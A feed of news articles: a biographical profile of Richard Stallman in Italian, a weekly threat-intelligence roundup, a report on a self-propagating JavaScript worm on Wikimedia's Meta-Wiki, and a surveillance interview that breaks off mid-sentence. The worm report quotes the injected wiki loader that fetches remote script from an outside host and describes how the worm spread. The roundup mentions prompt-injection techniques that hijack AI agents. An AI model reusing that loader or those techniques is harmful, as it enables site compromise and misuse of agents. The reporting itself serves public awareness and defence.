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RMS: l’Eretico del codice. L’uomo della rivoluzione partita da una stampante rotta
Barba rabbinica, tonaca e sandali: nel 2000 si autodefinì “sull’orlo dell’autismo”. Storia di Richard Stallman, l’uomo del software libero e di una rivoluzione digitale che nessuno aveva previsto. Sono diverse le figure della comunità scientifica che hanno contribuito in maniera fondamentale a traghettare la nostra civiltà dal vecchio mondo analogico all’attuale società dell’informazione (digitale). Tra queste personalità quella che occupa sicuramente un posto di rilievo nell’pantheon informatico è sicuramente Richard Stallman. Richard Stallman è un programmatore statunitense, oggi settantatreenne. Nasce e cresce a New York e ha fatto parte del celebre laboratorio di intelligenza artificiale del MIT nel Massachusetts fino al gennaio del 1984. È proprio nel perimetro di questo laboratorio che si verifica l’evento destinato a dare una svolta al corso dell’informatica. La Xerox aveva donato all’AI Lab (laboratorio di intelligenza artificiale ) del MIT una stampante laser professionale di nuova generazione ma per una strana eterogenesi dei fini questa macchina si inceppava di continuo. Stallman conosceva il problema, sapeva come risolverlo avendo negli anni precedenti risolto problemi simili su altri dispositivi di stampa ma non aveva accesso al codice perché la Xerox distribuiva solo gli eseguibili, quindi, niente reverse engineering. Una buona occasione gli si presentò quando seppe di un ricercatore che aveva lasciato la Xerox PARC per trasferirsi alla Carnegie Mellon University portando con sé il codice. Si reca quindi di persona per chiedergli del sorgente ma tutto si riduce in una breve e brutale conversazione: l’ex ricercatore aveva firmato un accordo di riservatezza con l’azienda e dunque rifiutò di concedergli il codice e qualunque altra cosa. Tempo dopo lo stesso Stallman dichiarerà: “ Era la prima volta che m’imbattevo in una clausola di non divulgazione, e mi resi immediatamente conto come questi accordi producano delle vittime. In questo caso la vittima ero io .” Stallman arrabbiato, andò via senz’aggiungere una parola. Un incontro, durato forse 30 secondi, divenne il punto di svolta della sua vita. Da quel giorno dichiarerà: ogni volta che colleghi del MIT mi offrivano lavoro in aziende che richiedevano un contratto di riservatezza, mi rifiutavo. Questo isolamento progressivo lo portò a definirsi, riprendendo Steven Levy “ l’ultimo vero hacker ”. Questo è quanto basta per convincere il giovane Stallman che il codice proprietario non deve essere l’unica strada percorribile, anzi deve esserci un’alternativa valida e condivisibile ma per questo deve costruirla da zero. Ma per capire meglio la portata di questa scelta bisogna fare un ulteriore passo indietro. Agli inizi degli anni Settanta nei Bell Labs, Ken Thompson e Dennis Ritchie stavano riscrivendo il codice di Unix donando al mondo un nuovo linguaggio di programmazione, il Linguaggio C. Questo rendeva Unix (riscritto in C) oltreché portabile su altre macchine, anche di più facile manutenzione, scelta che successivamente avrebbe permesso al progetto GNU , e più tardi a Linux, di poggiare su basi solide ma, in particolare, era la situazione accademica di quegli anni a renderlo un periodo particolare: Il clima accademico aperto, quello che Stallman vive al MIT, permetteva a ricercatori e università di scrivere e scambiarsi liberamente idee e software creato. Ma con il passare del tempo, questo clima andò via via ridimensionandosi e anche Unix avrebbe perso parte della sua apertura, diventando sempre più chiuso: codice a pagamento, licenze restrittive. Quella di Stallman fu quindi una reazione a queste increspature industriali e ad un contesto che andava cristallizzandosi verso sempre una maggiore chiusura. Così nel gennaio del 1984 anziché schierarsi dalla parte di chi si batteva per il copyright per il software come aveva fatto Bill Gates pochi anni prima scrivendo la celebre: “ Lettera aperta agli hobbisti “, Stallman si decise a compiere un gesto retrospettivamente rivoluzionario, lasciò il laboratorio del MIT per fondare un progetto nuovo, tutto suo. Nasce così il progetto GNU , dal quale nasceranno poi la Free Software Foundation e la licenza GPL . Richard Matthew Stallman Richard viene al mondo a New York nel 1953, figlio di Daniel Stallman e Alice Lippman. Il padre è un veterano della Seconda Guerra Mondiale che ha partecipato allo sbarco in Normandia: un uomo integro, ricorderà il figlio, ma anaffettivo. La madre insegna arte ed è un’attivista sindacale. Vivace e politicamente impegnata di orientamento progressista, l’esatto opposto del giovane Richard, all’epoca adolescente dalle idee conservatrici. Le loro opposte idee li porteranno spesso a quotidiani e furiosi scontri. I genitori divorzieranno nel 1958, quando Richard ha solo cinque anni. Inizia così per il futuro informatico un periodo di pendolarismo tra l’appartamento della madre a Manhattan e la casa del padre nel Queens. Anni di incomprensioni che Stallman ricorderà sempre con tristezza. Richard Matthew Stallman Un introverso enfant prodige Fin dall’infanzia si distingue per comportamenti inusuali: la madre, Alice Lippman, racconta due episodi in particolare. Da bambino, portato in spiaggia, iniziava a urlare ben prima di arrivare alla battigia, infastidito dal rumore della risacca; e piangeva ogni volta che la nonna, dai capelli rosso vivo, tentava di prenderlo in braccio, quasi infastidito dal colore stesso. Episodi che la madre, anni dopo, ricollegherà a certe caratteristiche dello spettro autistico. Sviluppa presto un proprio metodo per orientarsi nel mondo: a 7 anni memorizza le mappe della metropolitana di New York stando al finestrino del primo vagone, e lancia modellini di razzi a Riverside Drive Park annotando i risultati di ogni lancio. Fu proprio in un periodo di lutto, a dieci anni, dopo la morte dei nonni paterni, che un istruttore di un corso estivo gli procurò un manuale dell’IBM 7094: Richard iniziò a scrivere programmi su carta, senza ancora avere una macchina su cui farli girare. Comportamenti che lo stesso Stallman stigmatizzerà in un’intervista al Toronto Star del 9 ottobre 2000 (firma di Judy Steed), nella quale si autodefinì: “Sull’orlo dell’autismo” Gli studi Altro comportamento che lo contraddistingueva dai suoi coetanei a scuola era la sua avversione per i compiti scritti che per anni aveva boicottato e sistematicamente eluso. Il suo ultimo tema risaliva alla quarta elementare. Mentre frequentava la Louis D. Brandeis High School, scuola presso cui si sarebbe diplomato, Richard frequentava il Columbia Science Honors Program, un corso riservato ai migliori studenti delle medie di New York e lavorava come assistente di laboratorio alla Rockefeller University, dove il direttore rimase talmente colpito dal suo talento da telefonare alla madre anni dopo per sapere come stesse, convinto che avrebbe avuto un grande futuro in biologia. Il suo primo vero programma lo scrisse in estate all’IBM New York Scientific Center: un preprocessore per il 7094 in linguaggio PL/I, poi riscritto interamente in assembler perché troppo grande per quella macchina. Andava ancora alle medie. Mentre è ancora all’università che ha inizio la sua leggenda grazie anche alla capacità di correggere i suoi professori mentre facevano lezione, cosa che gli attirò molte antipatie, nel 1974 ad Harvard consegue la laurea in fisica. Dopo la laurea, entra a far parte del laboratorio di intelligenza artificiale del MIT (AI Lab), dove aveva già iniziato a lavorare nel 1971. In quel contesto la parola “ hacker ” non ha una valenza negativa, anzi, si riferiva a chi studiava e s’impegnava senza sosta per migliorare software e sistemi. Scrivere codice era solo un punto di partenza. La filosofia dell’AI Lab era semplice: dare e ricevere, tutto era improntato sulla condivisione e sul miglioramento del codice e chiunque poteva usarlo e migliorarlo restituendolo alla comunità scientifica con nuove aggiunte. Il laboratorio, nei suoi anni d’oro, era per Stallman qualcosa di simile a una città viva: alcune sezioni si rinnovavano continuamente, altre restavano immutate al punto che si poteva riconoscere, dalla scrittura del codice, il lavoro dei programmatori degli anni Sessanta. Poi, nei primi anni Ottanta, quella città cominciò a svuotarsi. La Symbolics, una startup nata da una costola dello stesso MIT, si portò via i migliori programmatori a uno a uno, e tutti firmarono accordi di non divulgazione con l’azienda. Stallman restò Solo. Richard Matthew Stallman Il rivoluzionario Ateo Nonostante fosse figlio di madre ebrea, si dichiarava non credente. Ma era molto provocatorio anche nel professare il suo ateismo. Leggenda vuole che girasse con una spilla su cui era scritto “Processiamo Dio”. La logica era la seguente: se una divinità così potente avesse creato il mondo senza mai correggerne i problemi, avrebbe ragionato, forse più che adorarla, sarebbe stato il caso di processarla. Questa stessa provocazione negli anni prese forma di un piccolo monologo che recita ancora oggi, impersonando l’imputato. La goccia che fa traboccare il vaso Alcuni anni dopo l’evento della stampante laser, gli hacker del MIT sotto la guida di Richard Greenblatt avevano modificato e perfezionato la Lisp Machine, un computer dell’AI Labs creato da John McCarthy negli anni Cinquanta per il linguaggio Lisp. Agli inizi degli anni 80 questo progetto si divise in due rami diversi ognuno rappresentato da una diversa azienda. La Symbolics rappresentata da Russell Noftsker, ex amministratore del laboratorio, e la Lisp Machine Inc di Greenblatt. Le due aziende si contesero il personale dell’AI Lab: alcuni furono assunti come consulenti dalla Symbolics, il resto degli esperti (hacker) andò alla Lisp Machine Inc. L’unico degli esperti che decise di rimanere all’AI Lab fu Stallman che rimase a guardia della Lisp Machine dell’AI Lab. Nel giorno del suo ventinovesimo compleanno la Symbolics ritira il suo accordo informale stipulato con il Laboratorio del MIT. L’accordo consisteva nel condividere le innovazioni e i miglioramenti del codice sviluppati dall’azienda per aggiornare il sistema operativo comune delle Lisp machine. Da quel giorno in poi se il MIT avesse voluto gli aggiornamenti avrebbe dovuto comprare macchine dalla Symbolics e interrompere ogni rapporto con la concorrenza. Stallman da hacker e genio qual’era reagì male all’ultimatum: descrisse il laboratorio come “ un paese neutrale, come il Belgio ” di fronte a un’invasione se la Germania attacca il Belgio, spiegò, il Belgio si schiera con Francia e Inghilterra. Un paragone che Stallman avrebbe ripetuto, quasi identico, anche in un’altra intervista rilasciata anni dopo al giornalista Michael Gross, segno di quanto quell’immagine gli fosse rimasta impressa. Inizio della leggenda Quel che accade dal 1982 entra a ragione nel leggendario, ogni volta che la Symbolics rilasciava una nuova funzione, un aggiornamento, Stallman lo riscriveva da zero per tenere sempre aggiornata la Lisp Machine del MIT e lo stesso laboratorio al passo coi tempi. Iniziò a sfidare, come si dice, a singolar tenzone, a colpi di tastiera e di codice i suoi migliori ex colleghi di laboratorio, passati alla concorrenza. Fu anche accusato di copiare il codice, ma per smentire le accuse smise anche di leggere il loro codice ricostruendo tutto da zero partendo solo dalla documentazione. Nonostante la tenacia e la preparazione, Stallman sapeva di non poter combattere all’infinito contro un’azienda e la maggior parte dei suoi ex colleghi, che lo ritenevano un romantico hacker anacronistico, passati tutti dal software di laboratorio al software di mercato. Si era convinto che non poteva essere più l’ultimo giapponese rimasto nella foresta a combattere a guerra finita, non aveva più senso.L’AI Lab era come una cucine di certi ristoranti storici: un po’ malandata, un po’ geniale, e impossibile da replicare altrove . Bisognava costruire qualcosa di nuovo e che nessuna azienda potesse ricomprare. GNU non è Unix Gennaio 1984. Per evitare che il MIT metta le mani sul suo codice e lo chiuda in un cassetto proprietario, Stallman taglia i ponti. Lascia l’università e lancia un’idea che ai molti suona semplicemente folle: scrivere un intero sistema operativo da zero, che sia compatibile con UNIX . Il nome scelto è tutto un programma: GNU (acronimo ricorsivo per GNU’s Not Unix ). Le regole d’ingaggio? Nessun segreto. Il codice deve rimanere aperto, studiabile e modificabile. Sempre. C’era però un ostacolo di fondo. Per far girare un sistema Unix-like serve un compilatore C, e all’epoca di roba libera non c’era neanche l’ombra. Che fare? Semplice: scriversene uno. Nasce così la Free Software Foundation (FSF) per raccogliere donazioni, e nel 1987 spunta fuori la primissima versione di GCC . Un punto di non ritorno. Era il primo compilatore C portabile e ottimizzato nato completamente libero. Insieme all’editor Emacs e alle utility di base, GCC diventa il pilastro della futura informatica. E da allora non si è mai più fermato: ha inglobato il C++, ha visto nascere un ramo sperimentale pazzesco (EGCS) che ha riscritto le regole dell’ottimizzazione, fino a supportare Fortran, Java e Ada. Oggi la chiamano GNU Compiler Collection , ed è gestita da un comitato misto di accademici e industriali. Il Kernel E il kernel? Mettiamola così: nei piani originali doveva chiamarsi Alix (il nome della ragazza di Stallman all’epoca). Poi lo sviluppatore principale, Michael Bushnell, ci mise lo zampino e optò per HURD , declassando Alix a un semplice sottosistema interno. Poco dopo la coppia scoppiò, e di Alix rimase solo un vecchio appunto nei file di progetto. Curiosità logistica: prima di Internet, come si distribuiva questa mole di codice? Via posta. Man mano che i programmi diventavano stabili, Stallman masterizzava i nastri magnetici e li spediva a casa di chi li chiedeva, dietro un piccolo rimborso spese. In pratica, aveva appena inventato la prima attività di distribuzione software della storia senza nemmeno rendersene conto. Copyleft Nel 1989 Stallman formalizza la GNU General Public License sul principio del Copyleft. Scrivendo il suo codice software come codice legale. Crea un nuovo tecnicismo giuridico fondato sul capovolgimento del funzionamento del Copyright. Il Copyleft non è usato per limitare, restringere la libertà degli utenti, anzi serve a garantirla. Chiunque sia in possesso di un software sotto licenza GPL può liberamente copiarlo, modificarlo, ridistribuirlo senza nessuna restrizione ma con un unico obbligo: qualsiasi versione derivata deve restare sotto il dominio GPL, in modo da godere delle stesse libertà delle versioni precedenti. Richard Matthew Stallman L’ambiguità Il progetto GNU nasce per promuovere la libertà e la cooperazione tra gli utenti di computer e tra i programmatori. Software libero non significa software gratuito. Con la parola Free il software va pensato come se si pensasse alla “Libertà di parola” e non a una “birra Gratis” ripete da sempre Stallman. Dunque, ci si riferisce alla libertà di chi usa quel programma. Nel manifesto del software libero (GNU), sono elencate 4 libertà Libertà 0 : Eseguire il programma per qualsiasi scopo. (Puoi usarlo come vuoi) Libertà 1 : Studiare come funziona il programma e adattarlo alle proprie necessità. (entrare nel codice e modificarlo) Libertà 2 : Ridistribuire copie per aiutare il prossimo. (Fare copie e passarle agli altri) Libertà 3 : Migliorare il programma e distribuire i miglioramenti a beneficio della comunità. (Modificare il codice e passarlo agli altri) Un software può essere distribuito gratuitamente ma non rispettare nessuna delle 4 libertà, come succede in molti casi di software proprietario distribuito senza costi. Al contrario del software libero che anche se venduto commercialmente chi lo acquista è obbligato a mantenere intatte queste 4 libertà. Sant’IGNUcius il suo Alter Ego giocoso Da anni Richard Stallman presenta conferenze dove divulga il verbo del software libero. E in particolare modo chiunque usi il termine “ open source ” al posto di “free software” viene subito richiamato all’ordine. Leggenda narra che in una conferenza, mentre veniva presentato da un docente di una famosa università statunitense come esperto di open source, Stallman balzò in piedi precisando che lui si occupava di software libero e non di altri movimenti. Ma a queste conferenze non mancano ironia e momenti iconici. A un certo punto della serata tira fuori da una busta un vecchio disco magnetico e se lo mette in testa: la luce dei riflettori lo trasforma in un’aureola perfetta. Indossa poi una tonaca nera e si presenta al pubblico come “ San IGNUcius della Chiesa di Emacs ”, alzando la mano destra in un gesto di benedizione scherzosa: “Benedico il tuo computer, figlio mio”. Lo stesso Stallman racconta sul proprio sito di aver ideato il personaggio nel 1996, come modo per “prendersi gioco di sé stesso” senza prendersi troppo sul serio. Stallman è anche conosciuto per la sua avversione alla stupidità e alle cerimonie, è risaputo che se qualcuno fa qualcosa di stupido non esita a rinfacciarglielo. San IGNUcius della Chiesa di Emacs Il trionfo silenzioso Torniamo ai primi anni Novanta. Il sistema GNU ha quasi tutti i pezzi al loro posto, ma gli manca un cuore pulsante. Il kernel HURD è in ritardo cronico. A togliere le castagne dal fuoco ci pensa, nel 1991, un giovane studente finlandese: Linus Torvalds Sforna il kernel Linux e, nel 1992, decide di pubblicarlo sotto la licenza GPL di Stallman: da lì succede l’imprevedibile. L’unione degli attrezzi di GNU con il motore di Torvalds fa nascere il sistema GNU/Linux. Quello che era partito come un mix tra idealismo radicale e l’hobby di un universitario, oggi tiene letteralmente in piedi il mondo digitale. Non ci credete? Guardatevi attorno. I 500 supercomputer più potenti della Terra usano Linux. I server di Hollywood che renderizzano gli effetti speciali? Linux. Perfino l’elicotterino Ingenuity della NASA, che ha svolazzato su Marte, ha dentro un’anima Linux. E poi, ovviamente, c’è Android. Nel 2005 Google si compra l’omonima startup, infilando di fatto un derivato di Linux nelle tasche di oltre tre miliardi di esseri umani. Ed è qui che si consuma il cortocircuito finale, la firma del vero hacker. A fronte di questo trionfo planetario del suo software, oggi Stallman si rifiuta di toccare uno smartphone. Per lui non sono altro che dispositivi di sorveglianza di massa da portare a passeggio, macchine pensate per tracciare la gente tramite software chiuso. E nel 2026? A gennaio 2026 Stallman era ad Atlanta, al Georgia Institute of Technology . Cinquanta minuti di conferenza, poi un’ora e mezza di domande. Stesso copione di sempre tranne il nemico, che stavolta ha un nome nuovo. L’intelligenza artificiale. O meglio: la “Pretend Intelligence”. Perché chiamarla “intelligente”, ragiona lui, è già cedere terreno. È comprare la réclame. È convincersi che queste macchine capiscano qualcosa mentre generano testo e basta, senza sapere cosa significa. Nel medesimo intervento ha allargato il tiro: auto connesse, backdoor nei processori, dispositivi che il produttore può spegnere da remoto con un aggiornamento. Roba che conosce bene. La logica è identica a quella della stampante Xerox: qualcuno, da qualche parte, tiene le chiavi di casa tua. Tu pensi di possedere qualcosa. Non è così. La differenza tra il 1982 e il 2026? La scala. E il fatto che adesso ci si casca in tre miliardi. Vintage C’è chi, come chi vi scrive, ricorda ancora l’odore dei laboratori informatici universitari: ventole che ronzavano a tutte le ore, e un prompt che aspettava paziente il comando gcc . Per intere generazioni di matricole, imparare il C non significava aprire un ambiente di sviluppo blasonato, ma aprire un editor spartano e invocare quel compilatore nato nel 1987 dalle mani e dalla testardaggine di Richard Stallman: il primo compilatore ANSI C ottimizzante e portabile distribuito come software libero, capace persino di ricompilare sé stesso. Il C, si diceva nei corsi, dava accesso diretto alla memoria della macchina. Un privilegio che si pagava a caro prezzo, come in uno dei tanti casi capitati al chi scrive e ai suoi colleghi di corso che, a ricevimento dal professore, si scontravano con il prodotto tra una matrice e un vettore a colpi di segmentation fault e di notti passate a inseguire un puntatore impazzito con gdb . Ma proprio in quella fragilità, in quel dover capire davvero cosa succedesse sotto il cofano, si nascondeva il fascino: GCC non nascondeva nulla, e nemmeno pretendeva di farlo. Era la prova tangibile che un’idea nata nel 1984 dal progetto GNU la libertà di usare, studiare, modificare e condividere il software potesse reggere il confronto, e spesso vincerlo, con i compilatori commerciali del tempo. Ogni errore di compilazione portava con sé quella strana familiarità con una macchina che sembrava, in fondo, condividere gli stessi principi di chi l’aveva creata. Anni dopo, Richard Stallman fu ospite d’onore in un congresso organizzato a Napoli dall’Università Federico II: un evento al quale il sottoscritto non ebbe il tempo di partecipare. Con grande, grandissimo rammarico. Fonti Sam Williams e Richard M. Stallman, Free as in Freedom 2.0: Richard Stallman and the Free Software Revolution (Free Software Foundation, 2010), distribuito sotto licenza GNU Free Documentation License. Capitolo 3: oreilly.com/openbook/freedom/ch03.html — Capitolo 7: oreilly.com/openbook/freedom/ch07.html Michael Gross, “Richard Stallman: High School Misfit, Symbol of Free Software, MacArthur-Certified Genius”: mgross.com/books/my-generation/my-generation-bonus-chapters/richard-stallman-high-school-misfit-symbol-of-free-software-macarthur-certified-genius/ Richard Stallman, “Saint IGNUcius”, pagina ufficiale dell’autore: stallman.org/saint.html — foto e video, categoria “Saint IGNUcius” su Wikimedia Commons (licenze CC-BY / CC-BY-SA): commons.wikimedia.org/wiki/Category:Saint_IGNUcius Judy Steed, Toronto Star, sezione Business, 9 ottobre 2000, p. C03 (per la citazione ‘sull’orlo dell’autismo’).” manca la precisazione concordata: “Articolo cartaceo, non disponibile in archivio digitale libero. Riferimento bibliografico verificato in: Sam Williams, Free as in Freedom, cap. 3, nota 3. Wikipedia, voce “Richard Stallman” (riferimento pubblico aggiuntivo per il dettaglio del manuale IBM 7094): en.wikipedia.org/wiki/Richard_Stallman Copertura giornalistica indipendente del discorso di Stallman al Georgia Institute of Technology, 23 gennaio 2026, tra cui Slashdot, Hardware Upgrade e Rivista AI. L'articolo RMS: l’Eretico del codice. L’uomo della rivoluzione partita da una stampante rotta proviene da Red Hot Cyber .
redhotcyber.comAug 17, 2026extracted
9th March – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 9th March, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES AkzoNobel, a Netherlands-based global paint manufacturer, has confirmed a cyberattack affecting one of its United States sites. The company said the intrusion was contained, while the Anubis ransomware group claimed it stole 170 GB of data, including employee and financial records. LexisNexis, a global legal data and analytics provider, has suffered a breach. Attackers claimed they stole 3.9 million records, including about 400,000 user profiles and some government accounts, while the company said the exposed systems mainly held legacy pre-2020 data. The Wikimedia Foundation, the nonprofit behind Wikipedia, has faced a self-propagating JavaScript worm that vandalized pages and replaced editor scripts across multiple wikis. Engineers briefly restricted editing while cleaning up the incident, with about 3,996 pages modified and roughly 85 users’ personal scripts affected. TriZetto Provider Solutions, an American healthcare technology company owned by Cognizant, has disclosed a breach affecting more than 3.4 million people. The exposed data includes insurance and medical information, with notifications issued this week after investigators determined the unauthorized access began in 2024. AI THREATS Researchers outlined how Pakistan-linked APT36 has used AI coding tools to produce large volumes of low-quality malware aimed at Indian government entities and embassies. The group generated variants in less common programming languages and used legitimate cloud services for command channels, complicating detection and response. Researchers uncovered AI-themed Chrome and Edge extensions that harvest LLM chat histories and browsing activity. Distributed via the Chrome Web Store, they impersonate legitimate tools and have impacted 900,000 users across 20,000 enterprise environments. Researchers tracked a campaign abusing interest in OpenClaw, an AI agent, by planting fake installers on GitHub that appeared in Bing search results. The installers delivered Vidar to steal credentials and cryptocurrency wallets and sometimes deployed GhostSocks, turning infected systems into residential proxies. Researchers demonstrated indirect prompt injection campaigns against AI agents that read web content, cataloging 22 techniques across live sites. Hidden instructions can redirect agents to expose data, perform unauthorized transactions, and run server commands, and the researchers also observed a real-world bypass of an AI ad review system. VULNERABILITIES AND PATCHES Google has published patches for CVE-2026-0628, a high-severity vulnerability in Chrome’s Gemini AI panel that allowed malicious extensions to inject code and access cameras and microphones. Researchers showed attackers could also take screenshots, access local files, and launch phishing content inside the panel. A patch was released for CVE-2026-1492, a critical (9.8 CVSS) privilege escalation flaw in the User Registration & Membership WordPress plugin. The vulnerability lets unauthenticated attackers create administrator accounts and take over sites. VMware has patched CVE-2026-22719, a high-severity command injection flaw in Aria Operations, its cloud management platform. The vulnerability allows unauthenticated remote code execution during support-assisted migrations and affects versions 8 through 8.18.5 and 9 through 9.0.1, with patches and a workaround script available. Qualcomm has addressed CVE-2026-21385, a memory corruption vulnerability affecting chipsets used in Android phones, tablets, and IoT devices. The flaw can trigger crashes and potentially allow code execution, and CISA said evidence of active exploitation prompted its addition to the Known Exploited Vulnerabilities catalog. THREAT INTELLIGENCE REPORTS Check Point Research have mapped Iran-linked cyber clusters conducting espionage, disruption, and influence operations, including Cotton Sandstorm, Educated Manticore, MuddyWater, Handala, and Agrius. Recent campaigns used impersonation and phishing to steal credentials, remote access tools to persist, and wipers or fake ransomware for impact. Check Point Research revealed that, amid the ongoing conflict with Iran, IP cameras in Israel, Qatar, Bahrain, Kuwait, the UAE, and Cyprus have been intensively targeted. Notably, these countries have also experienced significant missile activity from Iran. The findings align with the assessment that Iran incorporates compromised cameras into its operational doctrine, using them both to support missile operations and to conduct ongoing battle damage assessment (BDA). Check Point Research has profiled Silver Dragon, a Chinese-aligned group linked to APT41 that targeted government and enterprise networks across Southeast Asia and Europe. Recent operations used the GearDoor backdoor with SSHcmd and SilverScreen, enabling remote access, covert screen capture, and stealthy control after phishing and server exploitation. Check Point Harmony Endpoint and Threat Emulation provide protection against these threats Researchers have uncovered Coruna, an iPhone exploit kit used by Chinese scammers and Russia-linked operators to compromise devices through malicious websites. The toolkit used 23 exploits against iOS and deployed malware that stole cryptocurrency, emails, and photos.
research.checkpoint.comMar 9, 2026extracted
Wikipedia hit by self-propagating JavaScript worm that vandalized pages
Update: Added Wikimedia Foundation's statement below and made a correction to denote it was only the Meta-Wiki that was vandalized. The Wikimedia Foundation suffered a security incident today after a self-propagating JavaScript worm began modifying user scripts and vandalizing Meta-Wiki pages. Editors first reported the incident on Wikipedia's Village Pump (technical), where users noticed a large number of automated edits adding hidden scripts and vandalism to random pages. Wikimedia engineers temporarily restricted editing across projects while they investigated the attack and began reverting changes. The JavaScript worm According to Wikimedia's Phabricator issue tracker, it appears the incident started after a malicious script hosted on Russian Wikipedia was executed, causing a global JavaScript script on Wikipedia to be modified with malicious code. The malicious script was stored at User:Ololoshka562/test.js [Archive], first uploaded in March 2024 and allegedly associated with scripts used in previous attacks on wiki projects. Based on edit histories reviewed by BleepingComputer, the script is believed to have been executed for the first time by a Wikimedia employee account earlier today while testing user-script functionality. It is not currently known whether the script was executed intentionally, accidentally loaded during testing, or triggered by a compromised account. BleepingComputer's review of the archived test.js script shows it self-propagates by injecting malicious JavaScript loaders into both a logged-in user's common.js and Wikipedia's global MediaWiki:Common.js, which is used by everyone. MediaWiki allows both global and user-specific JavaScript files, such as MediaWiki:Common.js and User: /common.js, which are executed in editors’ browsers to customize the wiki interface. After the initial test.js script was loaded in a logged-in editor's browser, it attempted to modify two scripts using that editor's session and privileges: User-level persistence: it tried to overwrite User: /common.js with a loader that would automatically load the test.js script whenever that user browses the wiki while logged in. Site-wide persistence: If the user had the right privileges, it would also edit the global MediaWiki:Common.js script, so that it would run for every editor that uses the global script. If the global script was successfully modified, anyone loading it would automatically execute the loader, which would then repeat the same steps, including infecting their own common.js, as shown below. The script also includes functionality to edit a random page by requesting one via the Special:Random wiki command, then editing the page to insert an image and the following hidden JavaScript loader. [[File:Woodpecker10.jpg|5000px]] [[#%3Cscript%3E$.getScript('//basemetrika.ru/s/e41')%3C/script%3E]] According to BleepingComputer's analysis, approximately 3,996 pages were modified, and around 85 users had their common.js files replaced during the security incident. It is unknown how many pages were deleted. As the worm spread, engineers temporarily restricted editing across projects while reverting the malicious changes and removing references to the injected scripts. During the cleanup, Wikimedia Foundation staff members also rolled back the common.js for numerous users across the platform. These modified pages have now been "supressed" and are no longer visible in the change histories. At the time of writing, the injected code has been removed, and editing is once again possible. However, Wikimedia has not yet published a detailed post-incident report explaining exactly how the dormant script was executed or how widely the worm propagated before it was contained. Update 3/5/26 7:45 PM ET: The Wikimedia Foundation shared the following statement with BleepingComputer, stating that the code was active for only 23 minutes, during which it only changed and deleted content on Meta-Wiki, which has since been restored. "Earlier today, Wikimedia Foundation staff were conducting a security review of user-authored code on Wikipedia. During that review, we activated dormant code that was then quickly identified to be malicious. As a preventative measure, we temporarily disabled editing on Wikipedia and other Wikimedia projects while we removed the malicious code and confirmed the website was safe for user activity. The security issue behind this disruption has now been resolved. The code was active for a 23 minute period. During that time, it changed and deleted content on Meta-Wiki – which is now being restored – but it did not cause permanent damage. We have no evidence that Wikipedia was under attack, or that personal information was breached as part of this incident. We are developing additional security measures to minimize the risk of this kind of incident happening again. Updates continue to be made available via the Foundation's public incident log." Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comMar 5, 2026extracted
Who's watching the watchers? This Mozilla fellow, and her Surveillance Watch map
INTERVIEW Digital rights activist Esra'a Al Shafei found FinFisher spyware on her device more than a decade ago. Now she's made it her mission to surveil the companies providing surveillanceware, their customers, and their funders. "You cannot resist what you do not know, and the more you know, the better you can protect yourself and resist against the normalization of mass surveillance today," she told The Register. To this end, the Mozilla fellow founded Surveillance Watch last year. It's an interactive map that documents the growing number of surveillance software providers, which regions use the various products, and the investors funding them. Since its launch, the project has grown from mapping connections between 220 spyware and surveillance entities to 695 today. These include the very well known spy tech like NSO Group's Pegasus and Cytrox's Predator, both famously used to monitor politicians, journalists and activists in the US, UK, and around the world. They also include companies with US and UK government contracts, like Palantir, which recently inked a $10 billion deal with the US Army and pledged a £1.5 billion ($2 billion) investment in the UK after winning a new Ministry of Defense contract. Then there's Paragon, an Israeli company with a $2 million Immigration and Customs Enforcement (ICE) contract for its Graphite spyware, which lets law enforcement hack smartphones to access content from encrypted messaging apps once the device is compromised. Even LexisNexis made the list. "People think of LexisNexis and academia," Al Shafei said. "They don't immediately draw the connection to their product called Accurint, which collects data from both public and non-public sources and offers them for sale, primarily to government agencies and law enforcement." Surveillance is a global trade. It's not just being used in Iran, China, North Korea Accurint compiles information from government databases, utility bills, phone records, license plate tracking, and other sources, and it also integrates analytics tools to create detailed location mapping and pattern recognition. "And they're also an ICE contractor, so that's another company that you wouldn't typically associate with surveillance, but they are one of the biggest surveillance agencies out there," Al Shafei said. It also tracks funders. Paragon's spyware is boosted by AE Industrial Partners, a Florida-based investment group specializing in "national security" portfolios. Other major backers of surveillance technologies include CIA-affiliated VC firm In-Q-Tel, Andreessen Horowitz (also known as a16z), and mega investment firm BlackRock. This illustrates another trend: It's not just authoritarian countries using and investing in these snooping tools. In fact, America now leads the world in surveillance investment, with the Atlantic Council think tank identifying 20 new US investors in the past year. "Surveillance is a global trade," Al Shafei said. "It's not just being used in Iran, China, North Korea. And a lot of the time you don't even have to be doing or saying anything: a hotel lobby uses smart cameras that detect unusual behavior, and if you pause too long in a hallway, your movements are flagged and logged, and sometimes automatically sent to police." "This could be happening in New York. You don't have to be in Beijing for something like this to happen," she added. "You exit the building, cameras with facial recognition and gait analysis identify you automatically. Sensors track your phone's location. If a crime happened nearby, they say, 'Well, maybe [you] did it.'" 'It completely changes how you interact online' Twelve years ago, Al Shafei received what looked like a Firefox browser update notification. In reality, it was a ploy to trick her into downloading FinFisher (aka FinSpy) on her computer - part of a larger campaign targeting her and her team of social justice advocates across Asia and North Africa. In addition to Surveillance Watch, she is also co-founder of feminist-tech-focused Numun Fund, is a founding director of social justice not-for-profit org Majal, and serves on the boards of the Wikimedia Foundation, the Tor Project, and Mastodon. Developed by Gamma Group, FinFisher has been used by governments and law enforcement agencies around the world to monitor and intercept communications, gather intelligence, and track individuals' activities. It provides a whole range of snooping capabilities, giving users remote access to victims' machines, keylogging to capture passwords and account info, audio and video recording, and real-time monitoring of targets' communications and online activities. In 2013, Mozilla accused Gamma of violating its Firefox trademark in a cease-and-desist demand. That experience fundamentally changed Al Shafei's views on data privacy - and her digital activity, which can be tricky for someone very much in the public eye. "My first feeling was guilt," she said, adding that she wasn't just worried about her own safety. "I worried about the fact that, by monitoring me, surveilling me, I had exposed everybody now in my network to this, so that guilt carries a lot of weight." It creates a troubling pattern of isolation, feelings of guilt, feelings of not being able to express myself, feelings of being targeted and controlled It also required her to alert everybody in her orbit that she had been surveilled, and that meant that the snoops may have collected personal details about her family, friends, coworkers - everyone in her network, too. "The second thing is: it completely changes how you interact online. Period. I don't have social media profiles anymore," Al Shafei said, with one exception: she has a Mastodon profile because she's a board member. "But I don't share anything very sensitive or controversial." While Al Shafei knows her biometric data is easily accessible because she travels frequently, she doesn't post any photos or videos of herself online, and doesn't use any applications that require biometric identification. "It changed how I use the web," Al Shafei continued. "It 